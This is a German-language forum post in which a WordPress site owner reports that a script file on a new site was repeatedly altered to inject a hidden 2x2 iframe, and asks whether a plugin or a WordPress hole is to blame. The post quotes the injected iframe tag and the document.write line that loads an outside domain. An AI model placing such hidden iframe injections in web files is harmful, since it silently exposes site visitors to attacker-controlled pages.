comments_replay.js.min wurde modifiziert!

Hallo zusammen,

ich habe erst letzte Woche eine neue Webseite mit Wordpress (3.5.1) erstellt. Heute habe ich bemerkt das sich an der obersten Seite der Webseite ein iFrame versteckt. Dies ist aber im Browser Seitenquelltext nicht sichtbar sondern nur mit dem Firebug.

<iframe width="2" scrolling="auto" height="2" frameborder="no" align="middle" src="http://futomicdesigns.com/awes.html?j=1151237" name="Twitter">

Tja, jedenfalls kommt das über die Ausgabe von wp_head. Ich vermute mal das irgendein Plugin die comments_replay.js.min modifiziert hat oder Wordpress eine Sicherheitslücke besitzt. Anderst kann ich mir das nicht erklären.

Jedenfalls ist die originale .js Datei mit diesem Code erweitert worden:

document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://futomicdesigns.com/awes.html?j=1151237></iframe>');

Ich habe um die Urzeit als die Datei geändert (laut Filezilla) worden ist das Plugin FancyBox installiert. Ob das von diesem Plugin kommt?

Naja, bei mir ist jedenfalls alles wieder sauber. Wollte es nur mal gesagt haben ;)

LG

Tja, heute habe ich dieses iFrame wieder im Quelltext gefunden. Auch wurde die comments_replay.js.min wieder geändert. Weiß da keiner einen Rat was das sein könnte? Oder bin ich hier der einzigste der dieses Problem hat?

Ich habe nun alle Plugins ausprobiert. Und keines der, auch FancyBox, hat zumindest bei der Installation die datei modifiziert. Ich benutze eigentlich nur die bekannten Plugins, da müsste es ja bekannt sein falls die nicht "sauber" sind.

Ich habe mir mein eigenes Theme erstellt. Das dort ne lücke vorhanden sein soll kann ich mir schlecht vorstellen aber man weiß ja nie.
Mein Virenscanner ist immer aktuell. Das FTP Passwort habe ich gestern vorsichthalber mal geändert.